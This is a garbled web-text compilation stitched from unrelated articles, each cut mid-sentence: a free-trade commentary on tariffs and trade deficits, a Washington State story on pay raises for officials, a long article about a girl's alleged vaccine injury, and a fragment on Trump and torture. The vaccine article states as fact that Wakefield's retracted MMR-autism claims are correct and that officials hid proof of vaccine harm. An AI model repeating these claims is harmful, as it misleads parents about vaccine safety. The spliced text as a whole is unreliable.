As Ikenson points out, any aggressive move by the White House to hike tariffs will get pushback from a Republican-dominated Congress that has traditionally supported trade liberalization. Even greater pushback would come from business interests whose global supply chains depend on keeping trade barriers in check. Unlike the days of Smoot-Hawley, when imports were mainly end-products sold to consumers, half of all U.S. imports today are intermediate products sold to businesses, says Ikenson. The cheap imports help make it profitable for these businesses to operate—and to provide jobs to American workers.
Similarly, U.S. service industries—including tourism, entertainment, and financial management—have a stake in the huge trade surplus the nation maintains in services. This critical mass of businesspeople who benefit directly from foreign trade will likely make their voices heard on Capitol Hill, if not at the White House.
In response to Trump’s repudiation of the Trans-Pacific Partnership agreement, China is already forging a similar agreement with its trading partners in Asia. Other responses by trading partners could diminish U.S. trade, and harm the economy, in even more serious ways.
Our tariffs would not just have the intended effect of reducing our imports. If we import less, foreigners will have fewer dollars to buy our exports. “Countries cannot permanently buy from us unless they are permitted to sell to us,” wrote those 1,000 economists to President Hoover, “and the more we restrict the importation of goods from them by means of ever higher tariffs, the more we reduce the possibility of our exporting to them.”
Even more devastatingly, other countries might respond with tariffs of their own, unleashing a trade war that would truly bring a replay of Smoot-Hawley.
“IN EVERY COUNTRY,” wrote Adam Smith in The Wealth of Nations, “it always is and must be the interest of the great body of the people to buy whatever they want of those who sell it cheapest. The proposition is so very manifest, that it seems ridiculous to take any pains to prove it.” Smith went on to observe that this self-evident proposition could not “have been called in question, had not the interested sophistry of merchants and manufacturers confounded the common sense of mankind.”
The evolution of U.S. trade has run according to Smithian script. America’s trade in goods was in approximate balance from the 1950s through 1980, but started to move into deficit as cheap labor from abroad began to out-compete more costly domestic labor. The process accelerated with the advent of technology that made it far cheaper to ship goods across oceans and deliver them to ports, and by liberalizing trade agreements starting in the 1950s and 1960s under the General Agreement on Tariffs and Trade and later under the World Trade Organization, which supplanted GATT in 1995.
The process further accelerated in the 1990s with the end of the Cold War, making it possible to employ workers in former Communist countries of Eastern Europe and Asia; with the North American Free Trade Agreement of 1994; and with China’s entry into the WTO in 2001. Since 2001, nearly 80% of the growth of America’s trade deficit in goods can be attributed to the ballooning goods gap with China.
The result has been a bonanza of cheap goods for U.S. consumers and businesses. Meanwhile, the excess dollars earned by those who sell us more goods than they buy from us mainly come back as purchases of U.S. stocks and bonds, or as direct investment.
Globalization has also brought America a growing surplus in services trade. When candidate Trump quoted a “trade deficit” of “nearly $800 billion” in the “last year alone,” he was focusing on the deficit in goods, not the overall tally for goods and services. Over the past four calendar quarters, the U.S. ran a merchandise trade deficit of $763 billion, in part offset by a surplus in services trade of $268 billion, bringing the total shortfall to about $500 billion.
Consider, too, that the overall trade deficit averaged 3.0% of gross domestic product over the current expansion, down from 5.1% during the expansion of 2002-07, when GDP gains were more rapid. Similarly, the goods deficit cited by our incoming president has declined to 4.2% of GDP during the current expansion from 5.6% during the expansion of 2002-07 (see chart). These are inconvenient truths for those who subscribe to the myth that trade deficits bring slow growth.
Protectionists seem to forget that, while many Americans are workers, all are consumers—and that the central purpose of any market economy is to serve consumers’ needs. As a candidate, Trump declared that globalization has brought “nothing but poverty.” But for the tens of millions of consumers who buy from Wal-Mart, which is a huge seller of cheap imports, globalization has brought nothing but enrichment, although most of Wal-Mart’s customers are probably not aware of this. Wal-Mart’s 1.5 million U.S. employees are also on the winning end.
While Adam Smith was correct that “the great body of the people” benefit from free trade, those who lose their jobs to foreign competition do not. These displaced workers deserve compassionate treatment, and if they end up in financial distress, aid can be offered. But if we singled them out for special treatment, we would be unfairly ignoring the more than 95% of job losers who get displaced as a result of domestic competition.
The highest estimate for jobs lost to foreign competition in merchandise trade puts it at four million over the 12 years from 2001 to 2013, or 333,000 per year. That sounds like a lot, but it’s just 2.7% of the 12.5 million jobs lost each year in the private sector over the same 12-year period, according to the Business Employment Dynamics survey of the Bureau of Labor Statistics. (The number of new jobs created by the private sector over that same period averaged 12.8 million.)
Update these figures and you get similar results. Since 2013, job losses have diminished and job gains have increased. Over the three years through March 2016, jobs destroyed averaged 10.3 million per year and jobs |
workers,” wrote one commenter.
Wrote another: “CANNOT FUND education programs to reduce class sizes — BUT there is money in the coffers for an 11.2% raise. Wow. Government is NOT about the people anymore, is it.”
While not advocating for any particular proposal, Senate Democratic Minority Leader Sharon Nelson, of Maury Island, told the commission in January that competitive pay helps retain lawmakers and the expertise they develop to work on complicated issues.
Without that expertise, Nelson said, special-interest lobbyists gain greater influence in Olympia.
“It’s a check and balance that comes into play daily,” she said.
4% for Inslee
The commission also approved raises for all nine statewide elected officials, as well as state Supreme Court justices and Superior Court, District Court and Court of Appeals judges.
Gov. Jay Inslee will receive a 4 percent increase over two years, to $173,617 from the current salary of $166,891.
The new salary schedule will likely be delivered to the state Secretary of State’s Office sometime in late May, according to David Ammons, spokesman for the office.
At that point, members of the public wishing to challenge the decision have a 90-day window to file a referendum and collect 124,000 signatures to put the issue on the November general-election ballot.This historical vaccine injury case, to be ruled on in court soon, involves a doctor who seriously put an infant’s life at risk, the National Health Service in the United Kingdom and parents of a permanently and severely vaccine-damaged child, Jodie Marchant.
The Marchants share with us what happened after they took their one year-old daughter to the doctor, only agreeing for the MMR while refusing all other vaccines. They were completely shocked when they found out their baby Jodie was given an illegal, untested 8-in-1 vaccine concoction, deliberately mixed in one syringe, which destroyed their daughter.
Her father, Mr. William Marchant, has stated that investigations indicated the existence and persistence of the vaccine-strain measles virus in Jodie’s gastrointestinal tract. Jodie’s bowel findings could not be identified locally. Her report matched the same description published in The Lancet by Dr. Andrew Wakefield, the paper that was retracted, even though the findings have been repeated numerous times. [1]
Andrew Wakefield was correct with his findings, even though considerable effort has been made by government officials and vaccine manufacturers to conceal data proving a link between vaccines, autism, bowel disease and brain damage. Jodie was also one of Dr. Wakefield’s patients.
The Marchants were sent death threats to remain silent when they learned the truth of what happened, raising the question, how many infants are being experimented on during these well visits?
Jodie’s parents were told by experts that their case is totally unique and they are the only family to ever hold the records to prove this happened.
This combination vaccine given to their daughter could never be researched, as the subjects would not survive. Parents do not know what vaccines are truly being given to their child during these office visits.
Jodie’s story offers a glimpse at how government officials and vaccine manufacturers cover up vaccine damage and how they try to avoid being held liable, proving in their own case that vaccine records were deliberately removed after an untested vaccine was given without consent.
This family has bravely come forward during this crucial time, when vaccine laws are being challenged and parental rights to choose are being slowly taken away.
The association with inflammatory bowel disease being linked to the MMR vaccine and autism was, and still is, a very controversial topic.
Twenty-two years have passed since that injection was given. This family is still battling their case in court. Jodie’s parents will not run from those responsible. They will never give up fighting to obtain justice for Jodie.
A Family’s Nightmare Begins With The MMR Vaccine
[adrotate banner=”10″]
Jodie Marchant was born a beautiful and healthy girl on March 2, 1992. She was developing well and on target. After receiving a reminder notice in the mail to bring in Jodie to get the MMR vaccine, her parents, William and Pat Marchant, contemplated the issue and agreed to have her vaccinated. Up until this point, Jodie had not received any vaccines, nor did her older sister.
On May 17, 1993, when Jodie was 14 ½ months old, they arrived at Aldermoor Surgery health clinic in Southampton, UK. They agreed to allow Jodie to receive the MMR vaccine and physically signed to refuse the DTaP vaccine and any others. Once in the waiting room, Jodie’s name was soon called and Jodie said, “Love you,” to her dad, on the way in.
Patricia held her baby girl and took her into the room. Upon entering the room, Patricia was surprised to find a pre-filled syringe waiting for Jodie. Then Jodie was injected in a hurried fashion. Once Jodie was injected, she immediately screamed out like she had never screamed before, in a high-pitched sound.
In the waiting room, William heard this loud scream. His blood turned cold because he knew that it was his daughter. It was Jodie. Patricia was upset. She came charging into the waiting room and said she is never having another vaccine.
Within minutes after Jodie was vaccinated, she started shivering and shaking, was taken home, had high-pitched screams, suffered a high fever and stopped eating right away. Her parents were told by the doctor that she had a virus and not to worry. This was the day she was left permanently disabled and would never again be her normal self.
Numerous Doctor Visits, No Answers
Jodie became a different person after the shot. Little Jodie was in inconsolable pain, turned pale and her loving and jubilee nature changed to a child whose parents seemed nonexistent. Her life was never the same after the vaccine.
Jodie’s parents had no help in understanding what was wrong with their daughter. Jodie would regularly bash her head and needed to wear a helmet for protection. She suffered seizures. She became doubly incontinent, meaning she lost control of her bladder and bowel movements. She stopped walking and eating, lost speech, lost eye contact, stopped recognizing familiar adults and she had a horrible smell from acid reflux that kept coming out of her mouth, for years, all while growing as a child. This all started after she was given that shot.
In 1994, William and Pat sought much-needed help and one oral health surgeon said to put her in her room to cry it out. Doctors weren’t giving Jodie correct medical treatment. They wouldn’t admit anything was wrong. Her parents were keeping her alive on milkshakes because she couldn’t eat.
Jodie needed round-the-clock care. Her dad had to give up working to help take care of her and this caused mortgage payments to fall behind. They were losing their house and were told to contact Disability Living Allowance (DLA) to ask for help receiving some financial assistance and to help diagnose what was wrong with Jodie.
Jodie suffered convulsions after she was given that vaccine, which her dad considered could be a symptom of epilepsy. He requested an electro-encephalogram (EEG) but was turned away. Jodie kept suffering more convulsions even two years later. William kept requesting an EEG to be performed and continued to be ignored.
Jodie’s parents were fed up and called the Health Visitor in September 1994 and told them to get her looked at properly or they would contact the police. Eventually an appointment was made, with an EEG done, which led to a confirmed diagnosis of epilepsy.
The Marchants were told Jodie’s reactions were a coincidence and not connected to her problems. In November 1994, Jodie was examined by a DLA doctor named Dr. Ritchie. He acknowledged she was damaged and that she was getting all the wrong messages and that’s why she was toe-walking. He said, “She’s not watching the television, she’s living it.” Jodie was diagnosed as being severely brain-damaged.
Dr. Ritchie made sure Jodie was awarded a high rating of disability, needed for the family to receive financial assistance. She was noticeably suffering severe neurological and gastrointestinal problems. However, this needed financial assistance came too late for them to save their house. The Marchants were evicted and then put into a temporary accommodation.
At the temporary house, they switched doctors for ten months. Once rehoused, they went back and rejoined with Jodie’s previous doctor again. At this time, William and Pat still did not know of the action committed on Jodie and what she was really injected with that fateful day.
Jodie Was Diagnosed With Autism
In 1995, Jodie was diagnosed with autism, at age three, just with autism. Doctors wouldn’t look at anything else. There were a large number of vaccine-damaged children being reported in the UK after getting the MMR vaccine and major efforts to hide these truths from the public were becoming apparent. [2]
Government officials knowingly had allowed for some unsafe and possibly untested vaccines to continue on the market, partially to cut costs while protecting vaccine manufacturers from being held liable, at the expense of the vaccine-injured and their families.
Even though Jodie was labeled autistic with severe learning disabilities, she did attend school at age three. Due to her suffering, she ended up mostly being homeschooled because she was in so much pain. Her parents constantly sought for her to get the proper treatment but Jodie’s problems were being ignored.
Her parents were told Jodie should be in care as she would never know them or recognize her own parents. Patricia’s response was “my daughter is going nowhere.”
A doctor who recognized vaccine damage ordered for Jodie to have an MRI. On October 20, 1995, CJ Rolles arranged a scan.
Jodie’s First MRI
In 1996, Jodie’s first MRI test results came back all clear. They missed that Jodie had Chiari malformation, which are structural defects in the cerebellum, the part of the brain that controls balance, and when injured, can cause many symptoms, including toe-walking, commonly observed in vaccine-injured children. [3]
A proper diagnosis would’ve indicated the likely cause of some of Jodie’s symptoms, which are associated with nervous system damage. Growing evidence suggests Chiari malformation could be caused by an acquired brain injury. Brain injuries can be vaccine-related. Only surgery can correctively treat this. Due to the misdiagnosis, Jodie did not have the surgery to help correct the problem. [4]
Mother Was Told The Birth Could Have Caused Jodie’s Problems
Jodie’s parents took her to many doctors, many times, after her health deteriorated. Unable to get answers as to what caused Jodie’s problems after the vaccine link was denied, a friend gave them a magazine article discussing pressure at birth, stating this could cause a child to develop problems around the second year of life.
Patricia thought about Jodie’s delivery and remembered the student nurse who helped in Jodie’s delivery was very rough at the birth. Pat questioned if there could be a connection. The problem was that Jodie had developed fine and had no health problems prior to when she was given that vaccine.
Desperate for answers to try and get help for Jodie, her parents decided to get legal advice to see if the birth was linked to Jodie’s problems. It was arranged for them to visit Portland ST Hospital for an examination. Before going, they had a chat with another mom who asked if Jodie had received an MMR shot, because her son was badly damaged following his MMR. She told them Jodie’s behavior pattern was in line with vaccine damage. A doctor had informed them Jodie’s demise was likely caused by a virus.
This talk was at a severe special needs school which their kids attended. Realizing the identical reactions, the Marchants tried to cancel the hospital appointment but were advised to attend. At the appointment, they were told by the doctor that there was nothing to suggest the birth was involved in Jodie’s problems. This was in line with their DLA doctor who stated Jodie was not born this way, but rather, she has been damaged.
William and Patricia were given details by this mother to seek help from Dr. Andrew Wakefield at the Royal Free Hospital. Desperate for help, they discussed this with their GP and their GP arranged a referral for Jodie to be seen at the Royal Free.
Dr. Andrew Wakefield And His Team Were Sought After For Help
In January 1998, Jodie and her parents met with Dr. Andrew Wakefield to discuss what was contributing to Jodie’s demise, which started after she was given that vaccine. By now, Jodie had been suffering severe bowel problems (being doubly incontinent) and many other issues for almost five years. She was given medicine to clear her system and her next visit for treatment was scheduled to take place in June 1998. Until Jodie was taken to the Royal Free Hospital, her parents were not given answers as to what happened to their child.
Soon after Jodie’s first visit to the Royal Free, Dr. Andrew Wakefield and his colleagues published a paper in The Lancet on February 28, 1998, linking a plausible connection to inflammatory bowel disease, autism, brain damage and the triple MMR vaccine. [5]
Consistent with Dr. Wakefield’s findings, Jodie had the vaccine-measles strain in her GI tract.
Beginning in June 1998, Jodie was treated by other doctors at the Royal Free Hospital. They found she was too badly constipated and the colic she was being treated for was, in fact, acid reflux. They said her problems were far bigger than what they were seeing in the other children. Jodie was different from the other children.
A pediatric gastroenterologist, Professor John Walker-Smith, is considered a great man to the Marchants because he agreed to help Jodie. He was one of the doctors that helped treat Jodie at the Royal Free and was able to confirm Jodie was not given an ordinary MMR vaccine.
His diagnosis was spot on, as the Marchants would later find out. Jodie was given the MMR mixed with five other vaccines (an 8-in-1), which had never been known to have been given before. Even without Jodie’s vaccine records at the time, the professor was able to confirm she must have received more than an ordinary MMR.
Jodie’s Urine Sample Showed A Unique Pattern
In 1998, to assess Jodie’s damage, the parents were asked to send in a urine sample to Dr. Paul Shattock, who is aware of a possible link between the MMR vaccine, thimerosal and autism. His own son was diagnosed with autism. [6]
Upon testing Jodie’s urine sample, it was discovered Jodie’s showed a different pattern. On a suggestion, they were advised to get the batch numbers of the vaccines given to confirm what vaccines they gave her.
Dr. Shattock observed Jodie’s urine sample had gone over the peaks and informed the Marchants, “You are not telling me something, there is something else other than the MMR.” Jodie’s peaks were unbelievable and he asked what else she had with her MMR vaccine.
Jodie’s parents were confused, because they had only agreed for the MMR vaccine and nothing else. The Marchants had never requested a copy of Jodie’s vaccine record before and had no idea what they were about to learn.
Vaccine Records Went Missing
William and Patricia were asked to provide the vaccine batch number in order to submit an application to the vaccine damage unit, to collect compensation for damages associated with the MMR vaccine. Her records were needed to determine what caused the spike in the urine sample and to file an application for damages.
They went to request her vaccine record, where Jodie had received the shot and the doctor there said they could not find Jodie’s records. This included records from numerous visits for help following the jab. They were also informed the doctor who signed off on Jodie’s vaccines, for the nurse to give, who was the head of surgery at the time, Dr. Allison Hill, had left.
Needing Jodie’s record, they went back to the temporary doctor who had seen Jodie and this doctor had her records archived. The records revealed a disturbing truth that Jodie had been overdosed and was given DTaP and an injected oral polio vaccine. The parents were given batch numbers for DTaP and a recorded and signed-for oral polio vaccine.
Both contained the GP’s signature. The parents hold proof of these batch numbers and a signature from the GP who authorized the nurse to inject these.
Her parents said this is not what Jodie was taken in for. The doctor told them to go back to that doctor and get the MMR info, which they did. Another record with the GP’s signature and batch information on it had surfaced, to show Jodie was given the MMR II vaccine manufactured by Merck.
They found out she was given all of this and then later found another vaccine was given to her, all injected into her through that one shot. They were assured the seven went into her but new records that surfaced several years later revealed an eighth vaccine was given and signed for. The Marchants haven’t publicly revealed what the eighth vaccine is. Due to the sensitivity of the case that is still ongoing, that information is not being published.
The record on the eighth vaccine was separate from the other vaccine records and had either been missed or hidden. The GP had signed it herself. This record confirms it was given.
It is unthinkable to inject an oral polio vaccine but these records have been accepted by ALL during the case. The Marchants’ written statement, based on these vaccine records, notes none of these eight vaccines were given in the mouth, and the doctor cannot produce the name of the administrator of the vaccine, so they have no defense to prove otherwise.
These medical records held proof of some massive corruption going on. The Marchants learned their daughter was vaccinated with a combo vaccine that may have never been tested. Jodie’s parents went in for their daughter to get only the MMR and refused all other vaccines and they were completely shocked to find out Jodie was given this cocktail, MMR+DTaP+Oral Polio and the eighth vaccine not mentioned, all drawn up in one syringe.
One of the GPs of Jodie who supported the Marchants by helping them obtain Jodie’s records lost her job. It became clear to Jodie’s parents, upon their discovery of the extra vaccines, that cover-ups by every department were being made. Jodie’s parents were not meant to get a hold of these records but managed to, despite efforts of those trying to cover up what was done to their daughter.
Years after the incident, Dr. Allison Hill was asked about signing for these vaccines to be given to Jodie without parental approval and a written signature to avoid the DTaP and other vaccines. She said that she could not remember the patient or doing this. She apparently did not remember Jodie’s scream that day. And even to this day, she is not aware the Marchants hold the proof of that eighth vaccine given, with her signature on it, even with the attempts made to alter Jodie’s records.
Giving an injection incorrectly is negligence on the part of the administrator or doctor who signed off for this to be done. The MMR vaccine is to be injected subcutaneously (SC) while the DTaP and another vaccine Jodie received are to be administered intramuscularly (IM). An oral polio vaccine is only to be given orally, not through injection. This proper way of giving these multiple vaccines was not taken into consideration when Jodie was stuck with this 8-in-1 vaccine combo, never before tested or proven safe to inject. [7],[8]
William holds information saying it is not recommended to give the MMR+DTaP simultaneously.
This is why it is considered Medical Negligence. By giving the vaccines all together, it is almost impossible to blame any particular vaccine. This avoids a battle with a drug company.
From one of Jodie’s reports:
“The subcutaneous or intramuscular administration of vaccines should always be initially safeguarded by determining whether or not the syringe needle had penetrated a small blood vessel which could cause immediate delivery of the vaccine or vaccines into the circulation. This would result in the vaccine being distributed to the central nervous system within a few minutes. The immediate adverse response observed in Jodie’s case suggests that this was a possibilty. Personal reports that I have received from parents of children possibly suffering vaccine related adverse reactions have, on a number of occasions, reported a similar reaction.”
It was becoming clearer to the Marchants when Jodie’s records went missing, that a massive cover up was taking place. The Marchants were being sent death threats and told to remain silent and drop any actions against the doctor and the General Medical Council (GMC).
Not being able to remain silent because of how Jodie’s life was ruined, they did not remain complacent, especially after the assault played out on their daughter. In the year 2000, their Member of Parliament for Southampton, UK, Alan Whitehead, and the then current Health Minister, John Denham, went public to support their issues. [9]
Also in the year 2000, according to research, another paper authored by Dr. Andrew Wakefield titled Measles mumps rubella vaccine: through a glass darkly was published. This paper looked at the pre-licensing safety trials of the MMR vaccine.
This paper looked into how officials considered the triple MMR vaccine to be safe, pointing out each vaccine was actually licensed separately and not tested as a triple vaccine for safety. [10]
The Marchants were even faced with abuse charges, which they took on and blew away. Some bruises on Jodie were caused by two teachers forcibly holding her down, while a third teacher changed her pad. A photo of Jodie sent home clearly showed she had been left unchanged and, in agony, becoming sore. The Marchants let everyone know they would not tolerate any ill treatment of Jodie.
Jodie’s Parents Warned Dr. Andrew Wakefield He Would Be Targeted
It became clearer to William and Pat why it was so important to keep Andrew quiet. William was able to warn him of Brian Deer and the plot against him on the MMR issue.
Until they went to the Royal Free, they were told to let Jodie suck on a peppermint or lock her up to cry it out. The Marchants knew Dr. Wakefield was too dangerous to the vaccine program to let him speak.
People love to listen to his voice. The truth would stop the compulsory vaccinations and would cost the drug companies more than they could afford to pay. It is feared Jodie’s case could cause problems if the public found out.
Jodie Tested Positive For Carrying The Vaccine Strain Of Measles In Her GI Tract
In 2001, samples from Jodie were collected by a nurse, as well as by staff at the Royal Free. These samples were sent to Professor John O’Leary at Coombe Centre in Dublin, Ireland, to see if Jodie tested positive for carrying the vaccine strain of measles in her GI tract. Tests proved positive.
The findings matched what the published Lancet paper article, authored by Dr. Andrew Wakefield, stated. Wakefield never “deceived The Lancet journal,” those who sought to retract his paper “deceived the children damaged by the MMR.”
After The Truth Was Revealed
The Marchants waited for a solicitor to launch an appeal for over two years and then William contacted the Legal Services by phone and via e-mails. After an argument on the phone, they agreed to give them an appeal.
At the Appeal, their solicitor turned up with the wrong files and was unable to answer any questions, as he had not read the files. William then took his own files to show the Panel, and he showed them a GP’s letter confirming that Jodie was totally normal until the jab. This GP lost her job by giving them the proof of what Jodie had been vaccinated with, despite the fact the Marchants did not give consent for any vaccine, except the MMR.
The Marchants were under attack and their case was trying to be covered up. When they were asked about missing records from Jodie’s files, William produced the missing files. The Practice Manager swore and asked how he got them. She later said in a letter that they held the same files.
When they transferred Jodie to another doctor, all vaccination records were missing and William had to copy his own to give to their current doctor. This act is recorded by Jodie’s current doctor.
Jodie Had A Gastric Band Operation
On January 13, 2004, when Jodie was 11 years old, she had surgery to have a gastric band put on her. Her parents could tell she was in pain when she banged her head. She was being treated for colic but had acid reflux. The operation was supposed to stop the acid reflux from coming up because it was burning her esophagus all the way through. This was the time Brian Deer came in the picture.
Jodie’s parents were told if she had the surgery to put the band on, it would be impossible for Jodie to be sick. Previous to the operation, Jodie constantly had an acidic yellow mixture coming up. The day after the surgery, she became violently sick, started vomiting and Jodie began losing weight.
Her parents asked if the band could be too tight. They were told no and were just given another tablet of Lamotrigine for Jodie to take. The doctors just wanted Jodie’s parents to go away. Then Jodie started completely seizing more.
The medicine, Lamotrigine, was doubled. Jodie was rushed to the hospital because of pain and they doubled her medicine to 800 mg a day, causing more seizures. The maximum dosage for an adult is 400 mg a day. After complaining that the medicine she was given to stop the fits was causing the fits, they asked why her dosage was double what an adult should be given.
The drug was causing Jodie’s seizures and her parents asked why she was being prescribed so much Lamotrigine. Only after much complaining did they half the dosage, only after parents asked why. That’s the treatment the Marchants were given.
Jodie Suffered Much Worse After The Gastric Band Surgery
Before this operation, Jodie only had the acid reflux and was in pain. The gastric band was too tight. This caused Jodie even more pain and she began throwing up all day; 8-10 times a day a mess would have to be cleaned up. This was so severe, the Marchants had to change their carpet and repaint the walls. It was a disgrace and no one would listen to them.
After the gastric band was put on her, for six years Jodie’s parents had to pick up after their daughter because the band caused her to continuously vomit and suffer. Changing the carpet in their house and car and repainting the walls became a repeated chore.
Jodie would bang herself because she was in such terrible pain trying to get the wind up, the colic and the acid reflux. With the element of pain she lived with, her parents felt helpless because they were not getting needed help for her. Parents dealing with severely vaccine-injured children sometimes ask themselves, is it fair to keep them alive in so much constant pain?
The government would not listen to all of these parents speaking up about the same thing. Many parents have children suffering from the vaccines. Jodie’s case is one of the most severe. Someone should listen. The Marchants wondered if their case was the only case the Health Minister was supporting.
The vaccine damage payments unit was not addressing this issue. It was clear they were missing terrible problems while officials were saying they don’t think the MMR vaccine causes autism. The Marchants want them to look at what happened to Jodie and to pay for this. Patricia states they’ve been through hell and back and Jodie still suffers.
This situation has been so intense. In 2012, when Jodie was 18, she suffered another seizure while at the top of the stairs in their house. While she was fitting, she fell down the stairs. She broke her nose, hence the bruises on her beautiful face (as seen in this 24 minute documentary). One can visibly see all the marks Jodie left on the carpet and walls from her being sick (from the video Living With Autism, shared by the Marchants’). [11]
Brain Surgery
In 2007, Jodie had brain surgery after a second MRI revealed an Arnold-Chiari malformation, something her first MRI didn’t detect. She had surgery to lift part of her brain. Also, her tonsils needed to be put back into place. The surgery seemed to be successful when Jodie’s vomiting declined a bit and the seizures lessened. Overall, Jodie initially improved. It was stated she began saying words like “Mum,” “Dad” and “hello” once in a while.
Chiari malformations can cause seizing fits and unbearable pain. Jodie had been suffering from this all along and was not given the treatment prior to this surgery. Her problems had been ignored.
Sadly, the positive effects from the surgery were short-lived. William and Pat were complaining that Jodie’s brain was showing a compression on one side. Her parents felt she would need a further MRI, and they felt Jodie’s health was deteriorating. She had walked flat-footed following the brain surgery, which they thought was fantastic, but Jodie’s sickness got worse and worse. It became obvious her brain dropped again and the gastric band had always been too tight.
Parents Demanded The Gastric Band Be Removed
In Southampton, the Marchants had a meeting arranged with a gastroenterologist and another doctor. When they showed up, there was no clinic and no one there. William demanded to know why. They were supposed to be discussing the major problems Jodie had. They were told to wait and a specialist nurse would come in.
The nurse said if they were prepared to say Jodie’s bowel issues and her digestive system were all right, then the medical staff would support the position that she needs to have her brain looked at again. Her parents would not agree to this, because Jodie was in too much pain for them to back down. Pat told them to undo the band because you could see Jodie’s bones sticking up, on top of her shoulders.
They said they would take a look at Jodie because she wasn’t getting enough food in her. Jodie’s parents had enough. They were told one of two things. One option was to loosen the band and the second option was to get rid of it. Pat said she didn’t want to go back and wanted to get rid of it and would have Jodie treated with medicine if the acid reflux came back.
Jodie had the gastric band removed in 2010 and the acid reflux didn’t come back. The band had caused problems for six years. The parents had told the doctors it was too tight from the very beginning and to look at it. Jodie’s problems worsened after that surgery and no one cared to listen to the family, to help Jodie.
Finally, the band was removed. Pat and William had an awful time picking up after Jodie’s messes caused by that band, eight to ten times a day after she got sick. This went on for six years while Jodie suffered. Jodie felt better now.
Jodie’s Brain Damage Is Considered Beyond Repair
Averting the previous attempt to keep her parents silenced, Jodie was given a referral for another MRI. The neurologist said they would give the parents copies of the MRI if they did not take legal action. Otherwise, they would have to pay for reports if they planned to pursue legal action. They paid for them.
Further tests showed that Jodie’s brain damage was considered beyond repair. She had crowding on the left side of her brain. The epilepsy nurses had stated the left side of her brain is too badly damaged for even stem cell treatment, according to Jodie’s records. She will not be having a second brain surgery because of this. It’s very dangerous and will not likely help.
An American Vaccine Damage Expert Is Commissioned
Dr. Mark Geier and his son David Geier are considered vaccine damage thiomersal experts, by many families of vaccine-injured children. Dr. Mark Geier was commissioned from America to do a report on Jodie.
Upon finishing his final report on Jodie, just to be certain of his findings, Dr. Geier asked for a small, un-intrusive test to be done on Jodie. The Marchants would have gone through with the test, but the test was prevented. Mark was stopped from proceeding with the test.
Dr. Geier was paid for his work but not allowed to finish his report on Jodie because he was discredited, according to the Marchants’ Legal Services Commission (LSC). The witch-hunt was on for him and his son. Dr. Mark Geier and his son David were both sought after to discredit their work that acknowledges vaccine injuries and for finding ways to help treat children with autism spectrum disorders.
Many parents brought their child in for help, to see Dr. Geier and his son, after their child regressed following the MMR vaccine. Pat and William were noticing this familiar attack, as they themselves had been sent death threats to remain silent, as well as the time when William warned Dr. Andrew Wakefield about his controversial but needed research. Now the Geiers were being sought after, to silence their work.
Dr. Geier was given the money for his report, but the report was not accepted. According to William, “The LSC were desperate to hide the truth about Jodie’s case and about vaccines causing injury. Perhaps they were given answers they did not want.”
Legal Funding Issues
The first time Jodie’s Legal Aid stopped, the Marchants eventually had half of their funding reinstated and later on, the rest was reinstated. Not without a fight. Funding was removed a second time and their appeal to restore it proved successful. Funding was reinstated the third time on July 31, 2013, despite their solicitor trying to prevent this.
Despite all the hurdles to regain funding, their Legal Services have already supported the Marchants’ evidence by restoring the Legal Aid funding. The Marchants don’t believe Brian Deer has been made aware of this.
The Legal Services Commission wanted scientific proof of the probability that the vaccines were responsible for Jodie’s health problems, in order to justify the Marchants to continue receiving Legal Aid for Jodie.
William stated:
“We actually had our funding removed once because we were told that since the cocktail of 8 vaccines she was given has never been researched, we could not prove vaccine damage. We successfully argued that if it had not been researched, it should never have been given to Jodie, especially as consent was refused for all vaccines, except the MMR. We added scientific proof was not the criteria, which is probabilities.”
The Lawsuit
William wants to make sure Jodie will be taken care of when he is no longer alive, after what was done to her.
They brought an assault charge against the GP, Dr. Allison Hill, who was the head of practice at the time and the one who signed for the nurse to administer the vaccines to Jodie, despite the parents not consenting for five of the eight vaccines given (the eighth vaccine was still unknown at the time).
This case was unsuccessful, even though a child protection officer had agreed that Jodie’s vaccination with DTaP and oral polio were against her parents written consent and that did constitute an assault. The parents were warned that “politics would stop him from finishing the case.” Once the case was referred, due to politics over protecting Jodie, the police were stopped by Legal Services Commission (LSC) from pursuing further action.
At this time, the eighth vaccine given was still hidden in the records. The Marchants were unaware of this at the time these charges were brought up.
A complaint to the General Medical Council (GMC) also got no results, even though the GMC agreed that what had occurred in Jodie’s case was “unprofessional,” the doctor could not be blamed if the nurse who administered the vaccines acted incorrectly.
When their Legal Aid was reinstated, the Committee stated that:
“Due to the way the doctor’s kept Jodie’s records, any Judge would be suspicious of anything they said. Also if the nurse was traced, then her version would be ignored, due to her action.”
The Marchants’ case is still ongoing and they are very confident of success. They were amazed by the Panel report that unanimously backed them one hundred percent to take action, and agreed to fund them.
Going for Assault and Medical Negligence means the person responsible cannot hide behind the pharmaceutical companies protected from lawsuits.
They were not told of any vaccines added to the MMR shot they agreed to. If they had known, they would have left immediately. Limited consent is on record, although all records are now removed on vaccines. Thankfully, the parents have copies.
They were told their case could open the floodgates for vaccine damage and this is why funding was removed more than once, although it is now back.
The records on the eighth vaccine were separate from the other records and didn’t show up until several years after the Marchants learned Jodie was given the DTaP, oral polio and the MMR vaccines combined.
The record on the eighth vaccine has the GP’s signature, who the GMC said could not be blamed if the nurse acted outside of her duties. William and Pat hold a record confirming it was given. There are 60 dossiers of records to prove their case. The Marchants have had their records checked by the top departments and all have agreed that the vaccines were given, despite lack of consent.
The family is relieved there are no more pop-up death threats now. They will not tolerate this behavior. They have lived through a nightmare after what happened to their daughter and they will not accept anything less than justice for Jodie.
Vaccine Reactions Rarely Reported Or Compensated For In The UK
Families in the UK are rarely compensated when these pharmaceutical drugs injure. The UK has a Yellow Card system that offers very little help to damaged children. [12]
Vaccinating in the U.K. is not compulsory, and the Marchants had refused, on record, a vaccine given to Jodie without consent, which is an assault. It is also negligent to administer unresearched vaccine cocktails like that. Jodie was assaulted at fourteen months of age, when she was injected with an 8-in-1 vaccine, containing two triple vaccines in one syringe. And the doctor did not report Jodie’s reactions.
A doctor is supposed to report any adverse reactions from a vaccination on a yellow card. Sadly, very few parents are made aware of vaccine reaction history, although they are entitled to be told. Parents are not being given informed consent. It is very clear the Marchants were not given informed consent, either.
Jodie Suffers Convulsions And Is Disabled For Life
Jodie turned 23 years old on March 2, 2015.
Currently accepted, Jodie will never work or survive each day, without help. Due to the severity of Jodie’s lifelong health problems, requiring constant |
first line of defense against excessive power) pay close attention to candidates for the presidency, and consider whether they would respect legal limits on their power, if elected. We ought to be concerned about any candidate, but Trump’s words from 2005, as well as other comments he has made during this campaign, should give us special pause.
Trump has said he would order waterboarding, a form of torture. Torture, by definition, is illegal under U.S. and international law. Trump said he didn’t care about the legal limits.
